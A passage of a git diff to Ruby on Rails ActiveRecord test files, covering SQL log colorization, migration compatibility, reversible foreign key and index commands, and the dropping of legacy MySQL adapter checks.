assert_match(/#{REGEXP_BOLD}#{REGEXP_CYAN}Model Exists \(0.0ms\)#{REGEXP_CLEAR}/i, logger.debugs.last) + + logger.sql(event.new(0, {sql: verb.to_s, name: "ANY SPECIFIC NAME"})) + assert_match(/#{REGEXP_BOLD}#{REGEXP_CYAN}ANY SPECIFIC NAME \(0.0ms\)#{REGEXP_CLEAR}/i, logger.debugs.last) + end + end + + def test_query_logging_coloration_with_nested_select + event = Struct.new(:duration, :payload) + logger = TestDebugLogSubscriber.new + logger.colorize_logging = true + SQL_COLORINGS.slice(:SELECT, :INSERT, :UPDATE, :DELETE).each do |verb, color_regex| + logger.sql(event.new(0, sql: "#{verb} WHERE ID IN SELECT")) + assert_match(/#{REGEXP_BOLD}#{REGEXP_MAGENTA} \(0.0ms\)#{REGEXP_CLEAR} #{REGEXP_BOLD}#{color_regex}#{verb} WHERE ID IN SELECT#{REGEXP_CLEAR}/i, logger.debugs.last) + end + end + + def test_query_logging_coloration_with_multi_line_nested_select + event = Struct.new(:duration, :payload) + logger = TestDebugLogSubscriber.new + logger.colorize_logging = true + SQL_COLORINGS.slice(:SELECT, :INSERT, :UPDATE, :DELETE).each do |verb, color_regex| + sql = <<-EOS + #{verb} + WHERE ID IN ( + SELECT ID FROM THINGS + ) + EOS + logger.sql(event.new(0, sql: sql)) + assert_match(/#{REGEXP_BOLD}#{REGEXP_MAGENTA} \(0.0ms\)#{REGEXP_CLEAR} #{REGEXP_BOLD}#{color_regex}.*#{verb}.*#{REGEXP_CLEAR}/mi, logger.debugs.last) + end + end + + def test_query_logging_coloration_with_lock + event = Struct.new(:duration, :payload) + logger = TestDebugLogSubscriber.new + logger.colorize_logging = true + sql = <<-EOS + SELECT * FROM + (SELECT * FROM mytable FOR UPDATE) ss + WHERE col1 = 5; + EOS + logger.sql(event.new(0, sql: sql)) + assert_match(/#{REGEXP_BOLD}#{REGEXP_MAGENTA} \(0.0ms\)#{REGEXP_CLEAR} #{REGEXP_BOLD}#{SQL_COLORINGS[:LOCK]}.*FOR UPDATE.*#{REGEXP_CLEAR}/mi, logger.debugs.last) + + sql = <<-EOS + LOCK TABLE films IN SHARE MODE; + EOS + logger.sql(event.new(0, sql: sql)) + assert_match(/#{REGEXP_BOLD}#{REGEXP_MAGENTA} \(0.0ms\)#{REGEXP_CLEAR} #{REGEXP_BOLD}#{SQL_COLORINGS[:LOCK]}.*LOCK TABLE.*#{REGEXP_CLEAR}/mi, logger.debugs.last) + end + def test_exists_query_logging Developer.exists? 1 wait @@ -111,7 +209,7 @@ class LogSubscriberTest < ActiveRecord::TestCase Thread.new { assert_equal 0, ActiveRecord::LogSubscriber.runtime }.join end - unless current_adapter?(:Mysql2Adapter) + if ActiveRecord::Base.connection.prepared_statements def test_binary_data_is_not_logged Binary.create(data: 'some binary data') wait diff --git a/activerecord/test/cases/migration/change_schema_test.rb b/activerecord/test/cases/migration/change_schema_test.rb index 46a62c272f..d6963b48d7 100644 --- a/activerecord/test/cases/migration/change_schema_test.rb +++ b/activerecord/test/cases/migration/change_schema_test.rb @@ -50,7 +50,7 @@ module ActiveRecord def test_create_table_with_defaults # MySQL doesn't allow defaults on TEXT or BLOB columns. - mysql = current_adapter?(:MysqlAdapter, :Mysql2Adapter) + mysql = current_adapter?(:Mysql2Adapter) connection.create_table :testings do |t| t.column :one, :string, :default => "hello" @@ -105,7 +105,7 @@ module ActiveRecord eight = columns.detect { |c| c.name == "eight_int" } if current_adapter?(:OracleAdapter) - assert_equal 'NUMBER(8)', eight.sql_type + assert_equal 'NUMBER(19)', eight.sql_type elsif current_adapter?(:SQLite3Adapter) assert_equal 'bigint', eight.sql_type else @@ -141,7 +141,7 @@ module ActiveRecord assert_equal 'smallint', one.sql_type assert_equal 'integer', four.sql_type assert_equal 'bigint', eight.sql_type - elsif current_adapter?(:MysqlAdapter, :Mysql2Adapter) + elsif current_adapter?(:Mysql2Adapter) assert_match 'int(11)', default.sql_type assert_match 'tinyint', one.sql_type assert_match 'int', four.sql_type @@ -339,7 +339,7 @@ module ActiveRecord def test_change_column_null testing_table_with_only_foo_attribute do - notnull_migration = Class.new(ActiveRecord::Migration) do + notnull_migration = Class.new(ActiveRecord::Migration::Current) do def change change_column_null :testings, :foo, false end @@ -405,9 +405,9 @@ module ActiveRecord def test_drop_table_if_exists connection.create_table(:testings) - assert connection.table_exists?(:testings) + ActiveSupport::Deprecation.silence { assert connection.table_exists?(:testings) } connection.drop_table(:testings, if_exists: true) - assert_not connection.table_exists?(:testings) + ActiveSupport::Deprecation.silence { assert_not connection.table_exists?(:testings) } end def test_drop_table_if_exists_nothing_raised @@ -442,7 +442,7 @@ module ActiveRecord end def test_create_table_with_force_cascade_drops_dependent_objects - skip "MySQL > 5.5 does not drop dependent objects with DROP TABLE CASCADE" if current_adapter?(:MysqlAdapter, :Mysql2Adapter) + skip "MySQL > 5.5 does not drop dependent objects with DROP TABLE CASCADE" if current_adapter?(:Mysql2Adapter) # can't re-create table referenced by foreign key assert_raises(ActiveRecord::StatementInvalid) do @connection.create_table :trains, force: true diff --git a/activerecord/test/cases/migration/change_table_test.rb b/activerecord/test/cases/migration/change_table_test.rb index 2ffe7a1b0d..2f9c50141f 100644 --- a/activerecord/test/cases/migration/change_table_test.rb +++ b/activerecord/test/cases/migration/change_table_test.rb @@ -1,5 +1,4 @@ require "cases/migration/helper" -require "minitest/mock" module ActiveRecord class Migration diff --git a/activerecord/test/cases/migration/column_attributes_test.rb b/activerecord/test/cases/migration/column_attributes_test.rb index 8d8e661aa5..c7a1b81a75 100644 --- a/activerecord/test/cases/migration/column_attributes_test.rb +++ b/activerecord/test/cases/migration/column_attributes_test.rb @@ -37,13 +37,13 @@ module ActiveRecord def test_add_column_without_limit # TODO: limit: nil should work with all adapters. - skip "MySQL wrongly enforces a limit of 255" if current_adapter?(:MysqlAdapter, :Mysql2Adapter) + skip "MySQL wrongly enforces a limit of 255" if current_adapter?(:Mysql2Adapter) add_column :test_models, :description, :string, limit: nil TestModel.reset_column_information assert_nil TestModel.columns_hash["description"].limit end - if current_adapter?(:MysqlAdapter, :Mysql2Adapter) + if current_adapter?(:Mysql2Adapter) def test_unabstracted_database_dependent_types add_column :test_models, :intelligence_quotient, :tinyint TestModel.reset_column_information @@ -63,8 +63,6 @@ module ActiveRecord # Do a manual insertion if current_adapter?(:OracleAdapter) connection.execute "insert into test_models (id, wealth) values (people_seq.nextval, 12345678901234567890.0123456789)" - elsif current_adapter?(:MysqlAdapter) && Mysql.client_version < 50003 #before MySQL 5.0.3 decimals stored as strings - connection.execute "insert into test_models (wealth) values ('12345678901234567890.0123456789')" elsif current_adapter?(:PostgreSQLAdapter) connection.execute "insert into test_models (wealth) values (12345678901234567890.0123456789)" else @@ -171,7 +169,7 @@ module ActiveRecord end end - if current_adapter?(:MysqlAdapter, :Mysql2Adapter, :PostgreSQLAdapter) + if current_adapter?(:Mysql2Adapter, :PostgreSQLAdapter) def test_out_of_range_limit_should_raise assert_raise(ActiveRecordError) { add_column :test_models, :integer_too_big, :integer, :limit => 10 } diff --git a/activerecord/test/cases/migration/column_positioning_test.rb b/activerecord/test/cases/migration/column_positioning_test.rb index 4637970ce0..8294da0373 100644 --- a/activerecord/test/cases/migration/column_positioning_test.rb +++ b/activerecord/test/cases/migration/column_positioning_test.rb @@ -23,7 +23,7 @@ module ActiveRecord ActiveRecord::Base.primary_key_prefix_type = nil end - if current_adapter?(:MysqlAdapter, :Mysql2Adapter) + if current_adapter?(:Mysql2Adapter) def test_column_positioning assert_equal %w(first second third), conn.columns(:testings).map(&:name) end diff --git a/activerecord/test/cases/migration/columns_test.rb b/activerecord/test/cases/migration/columns_test.rb index 5fc7702dfa..fca1cb7e97 100644 --- a/activerecord/test/cases/migration/columns_test.rb +++ b/activerecord/test/cases/migration/columns_test.rb @@ -62,7 +62,7 @@ module ActiveRecord assert_equal '70000', default_after end - if current_adapter?(:MysqlAdapter, :Mysql2Adapter) + if current_adapter?(:Mysql2Adapter) def test_mysql_rename_column_preserves_auto_increment rename_column "test_models", "id", "id_test" assert connection.columns("test_models").find { |c| c.name == "id_test" }.auto_increment? @@ -267,6 +267,13 @@ module ActiveRecord assert_nil TestModel.new.first_name end + def test_change_column_default_with_from_and_to + add_column "test_models", "first_name", :string + connection.change_column_default "test_models", "first_name", from: nil, to: "Tester" + + assert_equal "Tester", TestModel.new.first_name + end + def test_remove_column_no_second_parameter_raises_exception assert_raise(ArgumentError) { connection.remove_column("funny") } end diff --git a/activerecord/test/cases/migration/command_recorder_test.rb b/activerecord/test/cases/migration/command_recorder_test.rb index 3844b1a92e..1e3529db54 100644 --- a/activerecord/test/cases/migration/command_recorder_test.rb +++ b/activerecord/test/cases/migration/command_recorder_test.rb @@ -31,7 +31,8 @@ module ActiveRecord end def test_unknown_commands_delegate - recorder = CommandRecorder.new(stub(:foo => 'bar')) + recorder = Struct.new(:foo) + recorder = CommandRecorder.new(recorder.new('bar')) assert_equal 'bar', recorder.foo end @@ -169,6 +170,16 @@ module ActiveRecord end end + def test_invert_change_column_default_with_from_and_to + change = @recorder.inverse_of :change_column_default, [:table, :column, from: "old_value", to: "new_value"] + assert_equal [:change_column_default, [:table, :column, from: "new_value", to: "old_value"]], change + end + + def test_invert_change_column_default_with_from_and_to_with_boolean + change = @recorder.inverse_of :change_column_default, [:table, :column, from: true, to: false] + assert_equal [:change_column_default, [:table, :column, from: false, to: true]], change + end + def test_invert_change_column_null add = @recorder.inverse_of :change_column_null, [:table, :column, true] assert_equal [:change_column_null, [:table, :column, false]], add @@ -206,6 +217,11 @@ module ActiveRecord end def test_invert_remove_index + add = @recorder.inverse_of :remove_index, [:table, :one] + assert_equal [:add_index, [:table, :one]], add + end + + def test_invert_remove_index_with_column add = @recorder.inverse_of :remove_index, [:table, {column: [:one, :two], options: true}] assert_equal [:add_index, [:table, [:one, :two], options: true]], add end @@ -281,17 +297,42 @@ module ActiveRecord assert_equal [:remove_foreign_key, [:dogs, :people]], enable end + def test_invert_remove_foreign_key + enable = @recorder.inverse_of :remove_foreign_key, [:dogs, :people] + assert_equal [:add_foreign_key, [:dogs, :people]], enable + end + def test_invert_add_foreign_key_with_column enable = @recorder.inverse_of :add_foreign_key, [:dogs, :people, column: "owner_id"] assert_equal [:remove_foreign_key, [:dogs, column: "owner_id"]], enable end + def test_invert_remove_foreign_key_with_column + enable = @recorder.inverse_of :remove_foreign_key, [:dogs, :people, column: "owner_id"] + assert_equal [:add_foreign_key, [:dogs, :people, column: "owner_id"]], enable + end + def test_invert_add_foreign_key_with_column_and_name enable = @recorder.inverse_of :add_foreign_key, [:dogs, :people, column: "owner_id", name: "fk"] assert_equal [:remove_foreign_key, [:dogs, name: "fk"]], enable end - def test_remove_foreign_key_is_irreversible + def test_invert_remove_foreign_key_with_column_and_name + enable = @recorder.inverse_of :remove_foreign_key, [:dogs, :people, column: "owner_id", name: "fk"] + assert_equal [:add_foreign_key, [:dogs, :people, column: "owner_id", name: "fk"]], enable + end + + def test_invert_remove_foreign_key_with_primary_key + enable = @recorder.inverse_of :remove_foreign_key, [:dogs, :people, primary_key: "person_id"] + assert_equal [:add_foreign_key, [:dogs, :people, primary_key: "person_id"]], enable + end + + def test_invert_remove_foreign_key_with_on_delete_on_update + enable = @recorder.inverse_of :remove_foreign_key, [:dogs, :people, on_delete: :nullify, on_update: :cascade] + assert_equal [:add_foreign_key, [:dogs, :people, on_delete: :nullify, on_update: :cascade]], enable + end + + def test_invert_remove_foreign_key_is_irreversible_without_to_table assert_raises ActiveRecord::IrreversibleMigration do @recorder.inverse_of :remove_foreign_key, [:dogs, column: "owner_id"] end @@ -299,6 +340,10 @@ module ActiveRecord assert_raises ActiveRecord::IrreversibleMigration do @recorder.inverse_of :remove_foreign_key, [:dogs, name: "fk"] end + + assert_raises ActiveRecord::IrreversibleMigration do + @recorder.inverse_of :remove_foreign_key, [:dogs] + end end end end diff --git a/activerecord/test/cases/migration/compatibility_test.rb b/activerecord/test/cases/migration/compatibility_test.rb new file mode 100644 index 0000000000..60ca90464d --- /dev/null +++ b/activerecord/test/cases/migration/compatibility_test.rb @@ -0,0 +1,118 @@ +require 'cases/helper' + +module ActiveRecord + class Migration + class CompatibilityTest < ActiveRecord::TestCase + attr_reader :connection + self.use_transactional_tests = false + + def setup + super + @connection = ActiveRecord::Base.connection + @verbose_was = ActiveRecord::Migration.verbose + ActiveRecord::Migration.verbose = false + + connection.create_table :testings do |t| + t.column :foo, :string, :limit => 100 + t.column :bar, :string, :limit => 100 + end + end + + teardown do + connection.drop_table :testings rescue nil + ActiveRecord::Migration.verbose = @verbose_was + ActiveRecord::SchemaMigration.delete_all rescue nil + end + + def test_migration_doesnt_remove_named_index + connection.add_index :testings, :foo, :name => "custom_index_name" + + migration = Class.new(ActiveRecord::Migration[4.2]) { + def version; 101 end + def migrate(x) + remove_index :testings, :foo + end + }.new + + assert connection.index_exists?(:testings, :foo, name: "custom_index_name") + assert_raise(StandardError) { ActiveRecord::Migrator.new(:up, [migration]).migrate } + assert connection.index_exists?(:testings, :foo, name: "custom_index_name") + end + + def test_migration_does_remove_unnamed_index + connection.add_index :testings, :bar + + migration = Class.new(ActiveRecord::Migration[4.2]) { + def version; 101 end + def migrate(x) + remove_index :testings, :bar + end + }.new + + assert connection.index_exists?(:testings, :bar) + ActiveRecord::Migrator.new(:up, [migration]).migrate + assert_not connection.index_exists?(:testings, :bar) + end + + def test_references_does_not_add_index_by_default + migration = Class.new(ActiveRecord::Migration) { + def migrate(x) + create_table :more_testings do |t| + t.references :foo + t.belongs_to :bar, index: false + end + end + }.new + + ActiveRecord::Migrator.new(:up, [migration]).migrate + + assert_not connection.index_exists?(:more_testings, :foo_id) + assert_not connection.index_exists?(:more_testings, :bar_id) + ensure + connection.drop_table :more_testings rescue nil + end + + def test_timestamps_have_null_constraints_if_not_present_in_migration_of_create_table + migration = Class.new(ActiveRecord::Migration) { + def migrate(x) + create_table :more_testings do |t| + t.timestamps + end + end + }.new + + ActiveRecord::Migrator.new(:up, [migration]).migrate + + assert connection.columns(:more_testings).find { |c| c.name == 'created_at' }.null + assert connection.columns(:more_testings).find { |c| c.name == 'updated_at' }.null + ensure + connection.drop_table :more_testings rescue nil + end + + def test_timestamps_have_null_constraints_if_not_present_in_migration_for_adding_timestamps_to_existing_table + migration = Class.new(ActiveRecord::Migration) { + def migrate(x) + add_timestamps :testings + end + }.new + + ActiveRecord::Migrator.new(:up, [migration]).migrate + + assert connection.columns(:testings).find { |c| c.name == 'created_at' }.null + assert connection.columns(:testings).find { |c| c.name == 'updated_at' }.null + end + + def test_legacy_migrations_get_deprecation_warning_when_run + migration = Class.new(ActiveRecord::Migration) { + def up + add_column :testings, :baz, :string + end + } + + assert_deprecated do + migration.migrate :up + end + end + end + end +end diff --git a/activerecord/test/cases/migration/create_join_table_test.rb b/activerecord/test/cases/migration/create_join_table_test.rb index 8fd08fe4ce..920c472c73 100644 --- a/activerecord/test/cases/migration/create_join_table_test.rb +++ b/activerecord/test/cases/migration/create_join_table_test.rb @@ -12,7 +12,9 @@ module ActiveRecord teardown do %w(artists_musics musics_videos catalog).each do |table_name| - connection.drop_table table_name if connection.tables.include?(table_name) + ActiveSupport::Deprecation.silence do + connection.drop_table table_name if connection.table_exists?(table_name) + end end end @@ -82,62 +84,69 @@ module ActiveRecord connection.create_join_table :artists, :musics connection.drop_join_table :artists, :musics - assert !connection.tables.include?('artists_musics') + ActiveSupport::Deprecation.silence { assert !connection.table_exists?('artists_musics') } end def test_drop_join_table_with_strings connection.create_join_table :artists, :musics connection.drop_join_table 'artists', 'musics' - assert !connection.tables.include?('artists_musics') + ActiveSupport::Deprecation.silence { assert !connection.table_exists?('artists_musics') } end def test_drop_join_table_with_the_proper_order connection.create_join_table :videos, :musics connection.drop_join_table :videos, :musics - assert !connection.tables.include?('musics_videos') + ActiveSupport::Deprecation.silence { assert !connection.table_exists?('musics_videos') } end def test_drop_join_table_with_the_table_name connection.create_join_table :artists, :musics, table_name: :catalog connection.drop_join_table :artists, :musics, table_name: :catalog - assert !connection.tables.include?('catalog') + ActiveSupport::Deprecation.silence { assert !connection.table_exists?('catalog') } end def test_drop_join_table_with_the_table_name_as_string connection.create_join_table :artists, :musics, table_name: 'catalog' connection.drop_join_table :artists, :musics, table_name: 'catalog' - assert !connection.tables.include?('catalog') + ActiveSupport::Deprecation.silence { assert !connection.table_exists?('catalog') } end def test_drop_join_table_with_column_options connection.create_join_table :artists, :musics, column_options: {null: true} connection.drop_join_table :artists, :musics, column_options: {null: true} - assert !connection.tables.include?('artists_musics') + ActiveSupport::Deprecation.silence { assert !connection.table_exists?('artists_musics') } end def test_create_and_drop_join_table_with_common_prefix with_table_cleanup do connection.create_join_table 'audio_artists', 'audio_musics' - assert_includes connection.tables, 'audio_artists_musics' + ActiveSupport::Deprecation.silence { assert connection.table_exists?('audio_artists_musics') } connection.drop_join_table 'audio_artists', 'audio_musics' - assert !connection.tables.include?('audio_artists_musics'), "Should have dropped join table, but didn't" + ActiveSupport::Deprecation.silence { assert !connection.table_exists?('audio_artists_musics'), "Should have dropped join table, but didn't" } + end + end + + if current_adapter?(:PostgreSQLAdapter) + def test_create_join_table_with_uuid + connection.create_join_table :artists, :musics, column_options: { type: :uuid } + assert_equal [:uuid, :uuid], connection.columns(:artists_musics).map(&:type) end end private def with_table_cleanup - tables_before = connection.tables + tables_before = connection.data_sources yield ensure - tables_after = connection.tables - tables_before + tables_after = connection.data_sources - tables_before tables_after.each do |table| connection.drop_table table diff --git a/activerecord/test/cases/migration/foreign_key_test.rb b/activerecord/test/cases/migration/foreign_key_test.rb index 7f4790bf3e..01162dcefe 100644 --- a/activerecord/test/cases/migration/foreign_key_test.rb +++ b/activerecord/test/cases/migration/foreign_key_test.rb @@ -99,7 +99,7 @@ module ActiveRecord assert_equal 1, foreign_keys.size fk = foreign_keys.first - if current_adapter?(:MysqlAdapter, :Mysql2Adapter) + if current_adapter?(:Mysql2Adapter) # ON DELETE RESTRICT is the default on MySQL assert_equal nil, fk.on_delete else @@ -224,7 +224,7 @@ module ActiveRecord assert_match %r{\s+add_foreign_key "astronauts",.+on_update: :cascade,.+on_delete: :nullify$}, output end - class CreateCitiesAndHousesMigration < ActiveRecord::Migration + class CreateCitiesAndHousesMigration < ActiveRecord::Migration::Current def change create_table("cities") { |t| } @@ -243,6 +243,37 @@ module ActiveRecord silence_stream($stdout) { migration.migrate(:down) } end + class CreateSchoolsAndClassesMigration < ActiveRecord::Migration::Current + def change + create_table(:schools) + + create_table(:classes) do |t| + t.column :school_id, :integer + end + add_foreign_key :classes, :schools + end + end + + def test_add_foreign_key_with_prefix + ActiveRecord::Base.table_name_prefix = 'p_' + migration = CreateSchoolsAndClassesMigration.new + silence_stream($stdout) { migration.migrate(:up) } + assert_equal 1, @connection.foreign_keys("p_classes").size + ensure + silence_stream($stdout) { migration.migrate(:down) } + ActiveRecord::Base.table_name_prefix = nil + end + + def test_add_foreign_key_with_suffix + ActiveRecord::Base.table_name_suffix = '_s' + migration = CreateSchoolsAndClassesMigration.new + silence_stream($stdout) { migration.migrate(:up) } + assert_equal 1, @connection.foreign_keys("classes_s").size + ensure + silence_stream($stdout) { migration.migrate(:down) } + ActiveRecord::Base.table_name_suffix = nil + end + end end end diff --git a/activerecord/test/cases/migration/helper.rb b/activerecord/test/cases/migration/helper.rb index 5bc0898f33..ad85684c0b 100644 --- a/activerecord/test/cases/migration/helper.rb +++ b/activerecord/test/cases/migration/helper.rb @@ -28,7 +28,7 @@ module ActiveRecord super TestModel.reset_table_name TestModel.reset_sequence_name - connection.drop_table :test_models rescue nil + connection.drop_table :test_models, if_exists: true end private diff --git a/activerecord/test/cases/migration/index_test.rb b/activerecord/test/cases/migration/index_test.rb index b23b9a679f..5abd37bfa2 100644 --- a/activerecord/test/cases/migration/index_test.rb +++ b/activerecord/test/cases/migration/index_test.rb @@ -130,7 +130,17 @@ module ActiveRecord def test_named_index_exists connection.add_index :testings, :foo, :name => "custom_index_name" + assert connection.index_exists?(:testings, :foo) assert connection.index_exists?(:testings, :foo, :name => "custom_index_name") + assert !connection.index_exists?(:testings, :foo, :name => "other_index_name") + end + + def test_remove_named_index + connection.add_index :testings, :foo, :name => "custom_index_name" + + assert connection.index_exists?(:testings, :foo) + connection.remove_index :testings, :foo + assert !connection.index_exists?(:testings, :foo) end def test_add_index_attribute_length_limit @@ -176,7 +186,7 @@ module ActiveRecord connection.remove_index("testings", :name => "named_admin") # Selected adapters support index sort order - if current_adapter?(:SQLite3Adapter, :MysqlAdapter, :Mysql2Adapter, :PostgreSQLAdapter) + if current_adapter?(:SQLite3Adapter, :Mysql2Adapter, :PostgreSQLAdapter) connection.add_index("testings", ["last_name"], :order => {:last_name => :desc}) connection.remove_index("testings", ["last_name"]) connection.add_index("testings", ["last_name", "first_name"], :order => {:last_name => :desc}) diff --git a/activerecord/test/cases/migration/pending_migrations_test.rb b/activerecord/test/cases/migration/pending_migrations_test.rb index 7afac83bd2..4f5589f32a 100644 --- a/activerecord/test/cases/migration/pending_migrations_test.rb +++ b/activerecord/test/cases/migration/pending_migrations_test.rb @@ -1,5 +1,4 @@ require 'cases/helper' -require "minitest/mock" module ActiveRecord class Migration diff --git a/activerecord/test/cases/migration/references_foreign_key_test.rb b/activerecord/test/cases/migration/references_foreign_key_test.rb index 17ac72a109..9e19eb9f73 100644 --- a/activerecord/test/cases/migration/references_foreign_key_test.rb +++ b/activerecord/test/cases/migration/references_foreign_key_test.rb @@ -32,6 +32,14 @@ module ActiveRecord assert_equal [], @connection.foreign_keys("testings") end + test "foreign keys can be created in one query when index is not added" do + assert_queries(1) do + @connection.create_table :testings do |t| + t.references :testing_parent, foreign_key: true, index: false + end + end + end + test "options hash can be passed" do @connection.change_table :testing_parents do |t| t.integer :other_id @@ -45,6 +53,15 @@ module ActiveRecord assert_equal "other_id", fk.primary_key end + test "to_table option can be passed" do + @connection.create_table :testings do |t| + t.references :parent, foreign_key: { to_table: :testing_parents } + end + fks = @connection.foreign_keys("testings") + assert_equal([["testings", "testing_parents", "parent_id"]], + fks.map {|fk| [fk.from_table, fk.to_table, fk.column] }) + end + test "foreign keys cannot be added to polymorphic relations when creating the table" do @connection.create_table :testings do |t| assert_raises(ArgumentError) do @@ -105,7 +122,95 @@ module ActiveRecord @connection.remove_reference :testings, :testing_parent, foreign_key: true end end + + test "foreign key methods respect pluralize_table_names" do + begin + original_pluralize_table_names = ActiveRecord::Base.pluralize_table_names + ActiveRecord::Base.pluralize_table_names = false + @connection.create_table :testing + @connection.change_table :testing_parents do |t| + t.references :testing, foreign_key: true + end + + fk = @connection.foreign_keys("testing_parents").first + assert_equal "testing_parents", fk.from_table + assert_equal "testing", fk.to_table + + assert_difference "@connection.foreign_keys('testing_parents').size", -1 do + @connection.remove_reference :testing_parents, :testing, foreign_key: true + end + ensure + ActiveRecord::Base.pluralize_table_names = original_pluralize_table_names + @connection.drop_table "testing", if_exists: true + end + end + + class CreateDogsMigration < ActiveRecord::Migration::Current + def change + create_table :dog_owners + + create_table :dogs do |t| + t.references :dog_owner, foreign_key: true + end + end + end + + def test_references_foreign_key_with_prefix + ActiveRecord::Base.table_name_prefix = 'p_' + migration = CreateDogsMigration.new + silence_stream($stdout) { migration.migrate(:up) } + assert_equal 1, @connection.foreign_keys("p_dogs").size + ensure + silence_stream($stdout) { migration.migrate(:down) } + ActiveRecord::Base.table_name_prefix = nil + end + + def test_references_foreign_key_with_suffix + ActiveRecord::Base.table_name_suffix = '_s' + migration = CreateDogsMigration.new + silence_stream($stdout) { migration.migrate(:up) } + assert_equal 1, @connection.foreign_keys("dogs_s").size + ensure + silence_stream($stdout) { migration.migrate(:down) } + ActiveRecord::Base.table_name_suffix = nil + end + + test "multiple foreign keys can be added to the same table" do + @connection.create_table :testings do |t| + t.integer :col_1 + t.integer :col_2 + + t.foreign_key :testing_parents, column: :col_1 + t.foreign_key :testing_parents, column: :col_2 + end + + fks = @connection.foreign_keys("testings") + + fk_definitions = fks.map {|fk| [fk.from_table, fk.to_table, fk.column] } + assert_equal([["testings", "testing_parents", "col_1"], + ["testings", "testing_parents", "col_2"]], fk_definitions) + end end end end +else +class ReferencesWithoutForeignKeySupportTest < ActiveRecord::TestCase + setup do + @connection = ActiveRecord::Base.connection + @connection.create_table(:testing_parents, force: true) + end + + teardown do + @connection.drop_table("testings", if_exists: true) + @connection.drop_table("testing_parents", if_exists: true) + end + + test "ignores foreign keys defined with the table" do + @connection.create_table :testings do |t| + t.references :testing_parent, foreign_key: true + end + + assert_includes @connection.data_sources, "testings" + end +end end diff --git a/activerecord/test/cases/migration/references_index_test.rb b/activerecord/test/cases/migration/references_index_test.rb index ad6b828d0b..a9a7f0f4c4 100644 --- a/activerecord/test/cases/migration/references_index_test.rb +++ b/activerecord/test/cases/migration/references_index_test.rb @@ -23,12 +23,12 @@ module ActiveRecord assert connection.index_exists?(table_name, :foo_id, :name => :index_testings_on_foo_id) end - def test_does_not_create_index + def test_creates_index_by_default_even_if_index_option_is_not_passed connection.create_table table_name do |t| t.references :foo end - assert_not connection.index_exists?(table_name, :foo_id, :name => :index_testings_on_foo_id) + assert connection.index_exists?(table_name, :foo_id, :name => :index_testings_on_foo_id) end def test_does_not_create_index_explicit @@ -68,13 +68,13 @@ module ActiveRecord assert connection.index_exists?(table_name, :foo_id, :name => :index_testings_on_foo_id) end - def test_does_not_create_index_for_existing_table + def test_creates_index_for_existing_table_even_if_index_option_is_not_passed connection.create_table table_name connection.change_table table_name do |t| t.references :foo end - assert_not connection.index_exists?(table_name, :foo_id, :name => :index_testings_on_foo_id) + assert connection.index_exists?(table_name, :foo_id, :name => :index_testings_on_foo_id) end def test_does_not_create_index_for_existing_table_explicit diff --git a/activerecord/test/cases/migration/references_statements_test.rb b/activerecord/test/cases/migration/references_statements_test.rb index f613fd66c3..70c64f3e71 100644 --- a/activerecord/test/cases/migration/references_statements_test.rb +++ b/activerecord/test/cases/migration/references_statements_test.rb @@ -30,14 +30,14 @@ module ActiveRecord assert column_exists?(table_name, :taggable_type, :string) end - def test_creates_reference_id_index - add_reference table_name, :user, index: true - assert index_exists?(table_name, :user_id) + def test_does_not_create_reference_id_index_if_index_is_false + add_reference table_name, :user, index: false + assert_not index_exists?(table_name, :user_id) end - def test_does_not_create_reference_id_index + def test_create_reference_id_index_even_if_index_option_is_passed add_reference table_name, :user - assert_not index_exists?(table_name, :user_id) + assert index_exists?(table_name, :user_id) end def test_creates_polymorphic_index @@ -55,6 +55,11 @@ module ActiveRecord assert index_exists?(table_name, :tag_id, name: 'index_taggings_on_tag_id') end + def test_creates_named_unique_index + add_reference table_name, :tag, index: { name: 'index_taggings_on_tag_id', unique: true } + assert index_exists?(table_name, :tag_id, name: 'index_taggings_on_tag_id', unique: true ) + end + def test_creates_reference_id_with_specified_type add_reference table_name, :user, type: :string assert column_exists?(table_name, :user_id, :string) diff --git a/activerecord/test/cases/migration/rename_table_test.rb b/activerecord/test/cases/migration/rename_table_test.rb index 6d742d3f2f..b926a92849 100644 --- a/activerecord/test/cases/migration/rename_table_test.rb +++ b/activerecord/test/cases/migration/rename_table_test.rb @@ -15,7 +15,7 @@ module ActiveRecord end def teardown - rename_table :octopi, :test_models if connection.table_exists? :octopi + ActiveSupport::Deprecation.silence { rename_table :octopi, :test_models if connection.table_exists? :octopi } super end @@ -80,12 +80,10 @@ module ActiveRecord end def test_renaming_table_doesnt_attempt_to_rename_non_existent_sequences - enable_extension!('uuid-ossp', connection) connection.create_table :cats, id: :uuid assert_nothing_raised { rename_table :cats, :felines } - assert connection.table_exists? :felines + ActiveSupport::Deprecation.silence { assert connection.table_exists? :felines } ensure - disable_extension!('uuid-ossp', connection) connection.drop_table :cats, if_exists: true connection.drop_table :felines, if_exists: true end diff --git a/activerecord/test/cases/migration/table_and_index_test.rb b/activerecord/test/cases/migration/table_and_index_test.rb deleted file mode 100644 index 24cba84a09..0000000000 --- a/activerecord/test/cases/migration/table_and_index_test.rb +++ /dev/null @@ -1,24 +0,0 @@ -require "cases/helper" - -module ActiveRecord - class Migration - class TableAndIndexTest < ActiveRecord::TestCase - def test_add_schema_info_respects_prefix_and_suffix - conn = ActiveRecord::Base.connection - - conn.drop_table(ActiveRecord::Migrator.schema_migrations_table_name, if_exists: true) - # Use shorter prefix and suffix as in Oracle database identifier cannot be larger than 30 characters - ActiveRecord::Base.table_name_prefix = 'p_' - ActiveRecord::Base.table_name_suffix = '_s' - conn.drop_table(ActiveRecord::Migrator.schema_migrations_table_name, if_exists: true) - - conn.initialize_schema_migrations_table - - assert_equal "p_unique_schema_migrations_s", conn.indexes(ActiveRecord::Migrator.schema_migrations_table_name)[0][:name] - ensure - ActiveRecord::Base.table_name_prefix = "" - ActiveRecord::Base.table_name_suffix = "" - end - end - end -end diff --git a/activerecord/test/cases/migration_test.rb b/activerecord/test/cases/migration_test.rb index b2f209fe97..a4b0de3f4e 100644 --- a/activerecord/test/cases/migration_test.rb +++ b/activerecord/test/cases/migration_test.rb @@ -1,6 +1,7 @@ -require "cases/helper" -require "cases/migration/helper" +require 'cases/helper' +require 'cases/migration/helper' require 'bigdecimal/util' +require 'concurrent/atomic/count_down_latch' require 'models/person' require 'models/topic' @@ -68,6 +69,10 @@ class MigrationTest < ActiveRecord::TestCase ActiveRecord::Migration.verbose = @verbose_was end + def test_migration_version_matches_component_version + assert_equal ActiveRecord::VERSION::STRING.to_f, ActiveRecord::Migration.current_version + end + def test_migrator_versions migrations_path = MIGRATIONS_ROOT + "/valid" old_path = ActiveRecord::Migrator.migrations_paths @@ -75,15 +80,13 @@ class MigrationTest < ActiveRecord::TestCase ActiveRecord::Migrator.up(migrations_path) assert_equal 